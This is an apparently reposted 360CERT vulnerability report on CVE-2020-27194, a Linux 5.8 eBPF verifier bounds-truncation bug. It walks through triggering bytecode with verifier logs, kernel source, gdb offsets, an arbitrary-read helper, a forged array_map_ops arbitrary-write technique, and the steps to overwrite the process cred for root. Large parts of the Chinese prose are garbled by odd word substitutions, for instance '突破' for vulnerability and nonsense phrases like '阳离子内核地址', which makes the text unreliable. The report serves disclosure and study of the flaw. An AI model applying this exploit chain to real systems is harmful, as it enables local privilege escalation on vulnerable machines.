CVE-2020-27194:Linux内核eBPF模块提权突破的分析与利用
原创 360CERT [三六零CERT](javascript:void(0)???? 今天
报告编号:B6-2020-110302
报告来源:360-CERT
报告作者:360-CERT
更新日期:2020-11-03
0x01突破背景
2020年11月1日,360CERT检测到国外安全研究人员simon通过fuzz在Linux内核的ebpf模块中发现一个越界标识符的断裂,可导致权限提升,CVE编号:CVE-2020-27194。
该突破是由于eBPF验证程序中进行或操作时未正确计算寄存器范围,而细长引发越界读取和写入。该突破存在于5.8.x 内核分支,目前有部分发行版使用了此分支,如Fedora 33和Ubuntu 20.10。
2020年11月03日,360CERT该突破进行了详细分析,并完成突破利用。
0x02风险等级
360CERT该突破的评估结果如下
评分方式 | 等级 |
---|---|
威胁等级 | 高危 |
影响面 | 一般 |
360CERT评分 | 7.8 |
0x03影响版本
影响 5.8.x 版本及以上的Linux内核分支
影响应用该分支的发行版本:Fedora 33,Ubuntu 20.10
0x04环境建设
(1)下载源码
git clone https://github.com/torvalds/linux.git
git checkout 5b9fbeb75b6a98955f628e205ac26689bcb1383e~1
5b9fbeb75b6a98955f628e205ac26689bcb1383e为修复漏洞的补丁,我们将分支切换到前一个补丁
(2)编译内核
make default
make menuconfig
make -j8
关闭随机化,开启调试信息和ebpf选项
Processor type and features --->
[ ] Randomize the address of the kernel image (KASLR)
Kernel hacking --->
Compile-time checks and compiler options --->
[*] Compile the kernel with debug info
General setup --->
[*] Enable bpf() system call
0x05进攻分析
5.1 eBPF简介
eBPF是扩展的Berkeley Packet Filter的缩写。开始是用于捕获和过滤特定规则的网络数据包,现在也被用在防火墙,安全,内核调试与性能分析等领域。
eBPF程序的运行过程如下:在用户空间生产eBPF“字节码”,然后将“字节码”加载进内核中的“虚拟机”中,然后进行一些列检查,通过则能够在内核中执行这些类似的Java与JVM虚拟机,但是这里的虚拟机是在内核中的。
bpf程序的执行流程如下图:
5.2进攻成因
进攻点在scalar_min_max_or()函数:
static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->smin_value;
u32 umin_val = src_reg->umin_value;
/* Assuming scalar64_min_max_or will be called so it is safe
* to skip updating register for known case.
*/
if (src_known && dst_known)
return;
/* We get our maximum from the var_off, and our minimum is the
* maximum of the operands' minima
*/
dst_reg->u32_min_value = max(dst_reg->u32_min_value, umin_val);
dst_reg->u32_max_value = var32_off.value | var32_off.mask;
if (dst_reg->s32_min_value < 0 || smin_val < 0) {
/* Lose signed bounds when ORing negative numbers,
* ain't nobody got time for that.
*/
dst_reg->s32_min_value = S32_MIN;
dst_reg->s32_max_value = S32_MAX;
} else {
/* ORing two positives gives a positive, so safe to
* cast result into s64.
*/
dst_reg->s32_min_value = dst_reg->umin_value; // 【1】
dst_reg->s32_max_value = dst_reg->umax_value;
}
}
由于【1】处的将64位的值赋值到32位的变量上,导致截断,长长的错误计算了寄存器的范围,从而绕过bpf的检查,导致越界识别。
具体可以看
……
9: (79) r5 = *(u64 *)(r0 +0)
R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
10: (bf) r8 = r0
11: R0=map_value(id=0,off=0,ks=4,vs=256,imm=0) R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256?
11: (b7) r0 = 1
12: R0_w=invP1 R5_w=invP(id=0) R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10=fp0 fp-8=mmmm????
12: (18) r6 = 0x600000002
14: R0_w=invP1 R5_w=invP(id=0) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks=4,vs=256,imm=0) R10?
14: (ad) if r5 < r6 goto pc+1
R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0,ks?
15: R0_w=invP1 R5_w=invP(id=0,umin_value=25769803778) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,imm=0) R9=map_ptr(id=0,off=0?
15: (95) exit
16: R0_w=invP1 R5_w=invP(id=0,umax_value=25769803777,var_off=(0x0; 0x7ffffffff)) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks=4,vs=256,i?
16: (25) if r5 > 0x0 goto pc+1
R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0,ks?
17: R0_w=invP1 R5_w=invP(id=0,umax_value=0,var_off=(0x0; 0x7fffffff),u32_max_value=2147483647) R6_w=invP25769803778 R8_w=map_value(id=0,off=0?
17: (95) exit
18: R0=invP1 R5=invP(id=0,umin_value=1,umax_value=25769803777,var_off=(0x0; 0x77fffffff),u32_max_value=2147483647) R6=invP25769803778 R8=map_?
18: (47) r5 |= 0
19: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6=invP2576980377?
19: (bc) w6 = w5
20: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP1 R8=map?
20: (77) r6 >>= 1
21: R0=invP1 R5_w=invP(id=0,umin_value=1,umax_value=32212254719,var_off=(0x1; 0x700000000),s32_max_value=1,u32_max_value=1) R6_w=invP0 R8=map?
……
9:用户的值通过r5寄存器嵌入值2
10:r0赋值给r8,r0保存map的地址,对触发突破无影响
11:r0赋值1,否则会认为r0导致地图指针产生报错
12:r6赋值0x600000002
14:通过r5 <r6的条件判断是否为r5寄存器的无符号范围最大为umax_value = 25769803777 = 0x600000001
16:通过r> 0x0的条件判断是否为r5寄存器的无符号范围最小为umin_value = 1
18:对r5进行or运算,触发入侵函数scalar_min_max_or,调用到入侵函数中的【1】处,赋值后r5寄存器的s32_min_value = 1,s32_max_value = 1
19:将r5赋值r6,得到r6为invP1,说明检查模块认为r6是常数1,而实际此时r6为2
20:对r6进行右移操作,此时检查模块认为r6得到的结果为invP0(常数0),而实际此时r6为1
具体调试过程如下:
dst_reg-> umin_value的数值1,dst_reg-> umax_value的数值为0x600000001,而在赋值dst_reg-> s32_max_value的过程中发生了截断(64位的值赋值到32位的有符号符号),导致dst_reg-> s32_max_value的增量1,此时目标寄存器的32位范围为(1,1),因此bpf的验证模块认为这是常数1。
当我们预期2时,进行进行右移操作,验证模块认为是1 >> 1 = 0,而实际是2 >> 1 = 1,所以可以进行进行乘法操作构造成任意数,因为在验证模块看来只是0乘以任意数,结果都是0,从而绕过检查,可以对地图指针进行任意加减,造成越界解读。
0x06进攻利用
该突破利用和CVE-2020-8835类似,可以参考之前笔者对CVE-2020-8835的利用构造:
6.1越界理解进行信息扭曲
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,key_size,value_size,max_entries,0);
key_size:表示索引的大小范围,key_size = sizeof(int)= 4。
value_size:表示地图上每个元素的大小范围,可以任意,只要控制在一个合理的范围max_entries:表示地图上的大小,编写利用时将其设置为1
阳离子内核地址
bpf_create_fd创建的是一整个bpf_array结构,我们放置的数据放在value []处
struct bpf_array {
struct bpf_map map;
u32 elem_size;
u32 index_mask;
struct bpf_array_aux *aux;
union {
char value[];//<--- elem
void *ptrs[];
void *pptrs[];
};
}
value []在bpf_array整个结构的替换为0x110,所以*(&map-0x110)为bpf_map的结构地址
struct bpf_map {
const struct bpf_map_ops *ops;
struct bpf_map *inner_map_meta;
void *security;
enum bpf_map_type map_type;
//....
u64 writecnt;
}
bpf_map有一个常量结构bpf_map_ops * ops; 静态,当我们创建的地图是BPF_MAP_TYPE_ARRAY的时候保存的是array_map_ops,array_map_ops是一个变量,可以用作内核地址。
前缀map_elem地址
&exp_elem [0] -0x110 + 0xc0(wait_list)处保存着指向自身的地址,用于放置exp_elem的地址
(gdb) p/x &(*(struct bpf_array *)0x0)->map.freeze_mutex.wait_list
$9 = 0xc0
构造任意读
通过BPF_OBJ_GET_INFO_BY_FD命令进行任意读,BPF_OBJ_GET_INFO_BY_FD会调用bpf_obj_get_info_by_fd:
case BPF_OBJ_GET_INFO_BY_FD:
err = bpf_obj_get_info_by_fd(&attr, uattr);
#define BPF_OBJ_GET_INFO_BY_FD_LAST_FIELD info.info
static int bpf_obj_get_info_by_fd(const union bpf_attr *attr,
union bpf_attr __user *uattr)
{
int ufd = attr->info.bpf_fd;
struct fd f;
int err;
if (CHECK_ATTR(BPF_OBJ_GET_INFO_BY_FD))
return -EINVAL;
f = fdget(ufd);
if (!f.file)
return -EBADFD;
if (f.file->f_op == &bpf_prog_fops)
err = bpf_prog_get_info_by_fd(f.file->private_data, attr,
uattr);
else if (f.file->f_op == &bpf_map_fops)
err = bpf_map_get_info_by_fd(f.file->private_data, attr,
uattr);
……
之后调用bpf_map_get_info_by_fd:
static int bpf_map_get_info_by_fd(struct bpf_map *map,
const union bpf_attr *attr,
union bpf_attr __user *uattr)
{
struct bpf_map_info __user *uinfo = u64_to_user_ptr(attr->info.info);
struct bpf_map_info info = {};
u32 info_len = attr->info.info_len;
int err;
err = bpf_check_uarg_tail_zero(uinfo, sizeof(info), info_len);
if (err)
return err;
info_len = min_t(u32, sizeof(info), info_len);
info.type = map->map_type;
info.id = map->id;
info.key_size = map->key_size;
info.value_size = map->value_size;
info.max_entries = map->max_entries;
info.map_flags = map->map_flags;
memcpy(info.name, map->name, sizeof(map->name));
if (map->btf) {
info.btf_id = btf_id(map->btf); // 修改map->btf 就可以进行任意读,获得btf_id,在btf结构偏移0x58处
info.btf_key_type_id = map->btf_key_type_id;
info.btf_value_type_id = map->btf_value_type_id;
}
if (bpf_map_is_dev_bound(map)) {
err = bpf_map_offload_info_fill(&info, map);
if (err)
return err;
}
if (copy_to_user(uinfo, &info, info_len) || // 传到用户态的info中,泄露信息
put_user(info_len, &uattr->info.info_len))
return -EFAULT;
return 0;
}
u32 btf_id(const struct btf *btf)
{
return btf->id;
}
(gdb) p/x &(*(struct btf*)0)->id #获取id在btf结构中的偏移
$56 = 0x58
(gdb) p/x &(*(struct bpf_map_info*)0)->btf_id #获取btf_id在bpf_map_info中偏移
$57 = 0x40
所以只需要修改map-> btf为target_addr-0x58,就可以转移到用户态信息中,泄漏的信息在结构bpf_map_info结构移位0x40处,由于是u32类型,所以只能使用4个字节。
利用代码如下:
static uint32_t bpf_map_get_info_by_fd(uint64_t key, void *value, int mapfd, void *info)
{
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)value,
.info.bpf_fd = mapfd,
.info.info_len = 0x100,
.info.info = (__u64)info,
};
syscall(__NR_bpf, BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr));
return *(uint32_t *)((char *)info+0x40);
}
6.2查找task_struct
ksymtab 保存init_pid_ns结构的偏移,init_pid_ns字符串的偏移
kstrtab 保存init_pid_ns的字符串
(gdb) p &__ksymtab_init_pid_ns
$4 = (<data variable, no debug info> *) 0xffffffff82322eb4
(gdb) x/2wx 0xffffffff82322eb4
0xffffffff82322eb4: 0x001264cc 0x0000a28f
(gdb) x/2s 0xffffffff82322eb8+0x0000a28f
0xffffffff8232d147: "init_pid_ns"
0xffffffff8232d153: "put_pid"
(gdb) x/4gx 0xffffffff82322eb4+0x001264cc
0xffffffff82449380 <init_pid_ns>: 0x0000000000000002 0x0080000400000000
0xffffffff82449390 <init_pid_ns+16>: 0x0000000000000000 0x0000000000000000
所以我们通过搜索“ init_pid_ns”字符串可以得到__kstrtab_init_pid_ns
的地址,然后再通过搜索匹配地址+该地址上四个字节(表示转换)是否等于__kstrtab_init_pid_ns
的地址来判断是否为__ksymtab_init_pid_ns
,此时找到的地址为__ksymtab_init_pid_ns+4
,减去4就是__ksymtab_init_pid_ns
,上面有init_pid_ns
结构的转变,与__ksymtab_init_pid_ns
地址相加就可以得到init_pid_ns
结构的地址。
之后通过pid和init_pid_ns查找对应的pid的task_struct,这里实际上就是要理清内核的查找过程,在写利用的时候模拟走一遍。最后找到task_struct中cred位置。内核是通过find_task_by_pid_ns函数实现查找过程的:
struct task_struct *find_task_by_pid_ns(pid_t nr, struct pid_namespace *ns)
{
RCU_LOCKDEP_WARN(!rcu_read_lock_held(),
"find_task_by_pid_ns() needs rcu_read_lock() protection");
return pid_task(find_pid_ns(nr, ns), PIDTYPE_PID);
}
nr为当前进程的pid,ns为init_pid_ns结构地址,我们需要的是idr细分的内容
struct pid *find_pid_ns(int nr, struct pid_namespace *ns)
{
return idr_find(&ns->idr, nr);
}
lib/idr.c:
void *idr_find(const struct idr *idr, unsigned long id)
{
return radix_tree_lookup(&idr->idr_rt, id - idr->idr_base);
}
需要获取&idr-> idr_rt和idr-> idr_base
lib/radix-tree.c:
void *radix_tree_lookup(const struct radix_tree_root *root, unsigned long index)
{
return __radix_tree_lookup(root, index, NULL, NULL);
}
void *__radix_tree_lookup(const struct radix_tree_root *root,
unsigned long index, struct radix_tree_node **nodep,
void __rcu ***slotp)
{
struct radix_tree_node *node, *parent;
unsigned long maxindex;
void __rcu **slot;
restart:
parent = NULL;
slot = (void __rcu **)&root->xa_head;
radix_tree_load_root(root, &node, &maxindex); //将root->xa_head的值赋给node
if (index > maxindex)
return NULL;
while (radix_tree_is_internal_node(node)) {
unsigned offset;
parent = entry_to_node(node); // parent = node & 0xffff ffff ffff fffd
offset = radix_tree_descend(parent, &node, index); //循环查找当前进程的node
slot = parent->slots + offset; //
if (node == RADIX_TREE_RETRY)
goto restart;
if (parent->shift == 0) // 当shift为0时,退出,说明找到当前进程的node
break;
}
if (nodep)
*nodep = parent;
if (slotp)
*slotp = slot;
return node;
}
重点看radix_tree_descend函数实现:
RADIX_TREE_MAP_MASK : 0x3f
static unsigned int radix_tree_descend(const struct radix_tree_node *parent,
struct radix_tree_node **nodep, unsigned long index)
{
unsigned int offset = (index >> parent->shift) & RADIX_TREE_MAP_MASK; // 要读取parent->shift的值,并与0x3f 与计算
void __rcu **entry = rcu_dereference_raw(parent->slots[offset]); // 获取parent->slots[offset] 作为下一个node
*nodep = (void *)entry; //
return offset; //
}
radix_tree_node的结构如下:
#define radix_tree_node xa_node
struct xa_node {
unsigned char shift; /* Bits remaining in each slot */
unsigned char offset; /* Slot offset in parent */
unsigned char count; /* Total entry count */
unsigned char nr_values; /* Value entry count */
struct xa_node __rcu *parent; /* NULL at top of tree */
struct xarray *array; /* The array we belong to */
union {
struct list_head private_list; /* For tree user */
struct rcu_head rcu_head; /* Used when freeing node */
};
void __rcu *slots[XA_CHUNK_SIZE];
union {
unsigned long tags[XA_MAX_MARKS][XA_MARK_LONGS];
unsigned long marks[XA_MAX_MARKS][XA_MARK_LONGS];
};
};
获得当前进程的node后就可以通过pid_task获取相应的task_struct:
enum pid_type
{
PIDTYPE_PID,
PIDTYPE_TGID,
PIDTYPE_PGID,
PIDTYPE_SID,
PIDTYPE_MAX,
};
type 为PIDTYPE_PID, 值为0
#define hlist_entry(ptr, type, member) container_of(ptr,type,member)
struct task_struct *pid_task(struct pid *pid, enum pid_type type)
{
struct task_struct *result = NULL;
if (pid) {
struct hlist_node *first;
first = rcu_dereference_check(hlist_first_rcu(&pid->tasks[type]), //获取&pid->tasks[0] 的内容
lockdep_tasklist_lock_is_held());
if (first)
result = hlist_entry(first, struct task_struct, pid_links[(type)]);// first为pid_links[0]的地址,由此获得task_struct的起始地址
}
return result;
}
6.3构造任意写
在exp_elem上填充伪造的array_map_ops,伪造的array_map_ops中将map_push_elem填充为map_get_next_key,这样将map_push_elem时就会变成map_get_next_key,然后将&exp_elem [0]的地址覆盖到exp_map [0],同时要作为过一些检查
spin_lock_off = 0
max_entries = 0xffff ffff
//写入的index要满足(index >= array->map.max_entries), 将map_entries改成0xffff ffff
map_type = BPF_MAP_TYPE_STACK
//map 的类型是BPF_MAP_TYPE_QUEUE或者BPF_MAP_TYPE_STACK时,map_update_elem 会调用map_push_elem
最后调用bpf_update_elem任意写内存
bpf_update_elem->map_update_elem(mapfd, &key, &value, flags) -> map_push_elem(被填充成 map_get_next_key )
->array_map_get_next_key
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
{
struct bpf_array *array = container_of(map, struct bpf_array, map);
u32 index = key ? *(u32 *)key : U32_MAX;
u32 *next = (u32 *)next_key;
if (index >= array->map.max_entries) { //index
*next = 0;
return 0;
}
if (index == array->map.max_entries - 1)
return -ENOENT;
*next = index + 1;
return 0;
}
map_push_elem的参数是值和uattr的标志,分别对应array_map_get_next_key的键和next_key参数,之后有index =值[0],next =标志,最终效果是* flags =值[0] +1,这里索引和next都是u32类型,所以可以任意地址写4个字节。
所以利用的整体思路是:
- 通过裂缝,从而传递进来的变量2,而验证模块认为是1,长剑通过右移和乘法操作构造任意数,对地图指针进行加减造成越界识别。
- 通过&exp_elem [0] -0x110,获得exp_map的地址,exp_map [0]保存着array_map_ops的地址,可以用作内核地址
- &exp_elem [0] -0x110 + 0xc0(wait_list)处保存着指向自身的地址,用于放置exp_elem的地址
- 利用任意读查找init_pid_ns结构地址
- 利用进程pid和init_pid_ns结构地址获取当前进程的task_struct
- 在exp_elem上填充伪造的array_map_ops
- 修改地图的一些分支绕过一些检查
- 调用bpf_update_elem任意写内存
- 修改进程task_struct的cred进行提权。
提权效果图:
0x07补丁分析
按正常处理思路,寄存器32位的范围和64位的范围应该分开处理,突破的成因正是直接直接将64位值赋值给32位的变量,导致截断,因此补丁就是将32位和64位的情况分开,修正赋值的内容,阻止了整体截断的情况。
0x08时间线
2020-11-01 作者公开突破信息
2020-11-02 360CERT完成突破利用
2020-11-03 360CERT发布突破分析与利用报告
0x09参考链接
- https://scannell.me/fuzzing-for-ebpf-jit-bugs-in-the-linux-kernel/
- https://github.com/torvalds/linux/commit/5b9fbeb75b6a98955f628e205ac26689bcb1383e
- https://xz.aliyun.com/t/7690
转载自https://mp.weixin.qq.com/s/Jt50Ey-abKf9m-QgSCJb8Q
上一篇: eBPF/sockmap实现socket转发offload
下一篇: 面试题流散汇总